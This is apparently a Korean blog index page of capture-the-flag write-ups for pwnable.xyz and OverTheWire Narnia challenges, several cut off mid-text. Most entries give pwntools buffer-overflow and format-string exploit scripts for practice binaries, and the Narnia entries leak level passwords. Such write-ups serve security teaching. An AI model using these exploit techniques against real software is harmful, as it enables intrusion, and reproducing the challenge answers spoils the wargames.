목록system hacking (69)
ii4gsp
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/cKDCU2/btqCu0hTfwH/B8a8uLIneAJVlY1ntvWA7k/img.png)
간단한다. gets()함수로 ret를 give_shell()함수로 덮어주면 된다. SFP 포함 32byte이다. from pwn import * p = process('/home/ii4gsp/get_it') e = ELF('/home/ii4gsp/get_it') give_shell = e.symbols['give_shell'] payload = '' payload += '\x90' * 32 payload += p64(give_shell) p.sendline(payload) p.interactive()
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/b9uO3j/btqCrPnUWO0/XvO8QybnA9lXIx0Ov0fXDk/img.png)
read()함수로 buf에 24byte만큼 입력을받는다. v6가 0xCAF3BAEE 이면, 쉘을 획득한다. from pwn import * p = process('/home/ii4gsp/boi') payload = '' payload += '\x90' * 20 payload += p64(0xCAF3BAEE) p.sendline(payload) p.interactive() 간단
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bzDedL/btqCsHP89L1/D4cSmuODQh4TtLl0wXP6o0/img.png)
printf()함수에서 포맷스트링 버그가 일어난다. setup()함수에서 printf()의 포맷스트링을 설정해준다. qword_601160은 usr과 128byte만큼 차이가 난다. 바이너리 안에는 플래그의 주소에 가짜 플래그가 있다. 서버에는 진짜 플래그가 있을것이다. Exploit from pwn import * r = remote('svc.pwnable.xyz', 30004) flag = 0x601080 payload = '' payload += 'y' payload += 'A' * 7 payload += p32(flag) r.recvuntil(": ") r.sendline(payload) formatstr = '%p %p %p %p %p %p %p %p %s %p' payload = '' payl..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bLOwxU/btqCn0cg9Bi/3gKmoHKgPizUkcRSvVSSSk/img.png)
파일을 다운로드 해주자. IDA로 열어보면 v5 + 7에 0xDEADBEEF를 넣고 scanf()함수로 v6, v7, v8에 입력을받는다. v5[v8 + 6]에 v6과 v7을 더한 값을 저장하고, 값을 출력한다. v5 + 7이 0xB000000B5면 win()함수를 실행하여 flag를 출력해준다. v5[0]에 -5,404,319,552,844,595,200을 입력해주고 v5[1]에 184,549,376을 입력해주면 된다. Exploit from pwn import * r = remote("svc.pwnable.xyz", 30003) r.sendline("-5404319552844595200 0 -6") r.sendline("184549376 0 -5") r.sendline("asd") r.interact..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/7bXnj/btqCgQ1k62F/Kk8kbLtm6lbnYmR5To826k/img.png)
IDA로 파일을 열어보면 read()함수로 buf에 0x18 즉, 24byte만큼 입력을받는다. 각 변수가 4byte씩 차이가난다. 순서대로 조건을 맞춰주면 get_flag()함수가 실행되어 쉘을 획득한다. flag_ptr은 get_flag()함수를 가리키고있다. Exploit from pwn import * p = process('/home/ii4gsp/simpleBOF') payload = '' payload += '\x90' * 4 payload += 'FLAG' payload += p32(0x080484cb) payload += p32(0x31323334) payload += p32(0xffffffff) payload += p32(0xbc614e) p.sendline(payload) p.inter..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bf6wFl/btqCaSlTdij/O4cxE5i2gCBvShUfGoCpck/img.png)
#include #include #include int main(int argc, char * argv[]){ char buf[128]; if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } strcpy(buf,argv[1]); printf("%s", buf); return 0; } 변수 buf가 128byte 할당되었고, buf ~ sfp = 132 이다. 132byte dummy를 주고 ret를 조작해주면된다. strcpy()함수에서 취약점이 발생한다. ret까지 덮어주고 스택 확인 0xffffd848을 ret로 잡고 페이로드 작성 Narnia3 = vaequeezee
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bf5cjX/btqCaS0aq12/FNbOzDS8lWS59O5xcUNnW1/img.png)
#include int main(){ int (*ret)(); if(getenv("EGG")==NULL){ printf("Give me something to execute at the env-variable EGG\n"); exit(1); } printf("Trying to execute EGG!\n"); ret = getenv("EGG"); ret(); return 0; } EGG라는 이름의 환경변수에 쉘 코드를 넣어주면 된다. Narnia2 = nairiepecu
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/c6ElVG/btqCbg0XV7G/gGSus3vPO3gzEr8lA8or2k/img.png)
#include #include int main(){ long val=0x41414141; char buf[20]; printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n"); printf("Here is your chance: "); scanf("%24s",&buf); printf("buf: %s\n",buf); printf("val: 0x%08x\n",val); if(val==0xdeadbeef){ setreuid(geteuid(),geteuid()); system("/bin/sh"); } else { printf("WAY OFF!!!!\n"); exit(1); } return 0; } val이 0xdeadbeef면 쉘을 실행시킨다. scanf()..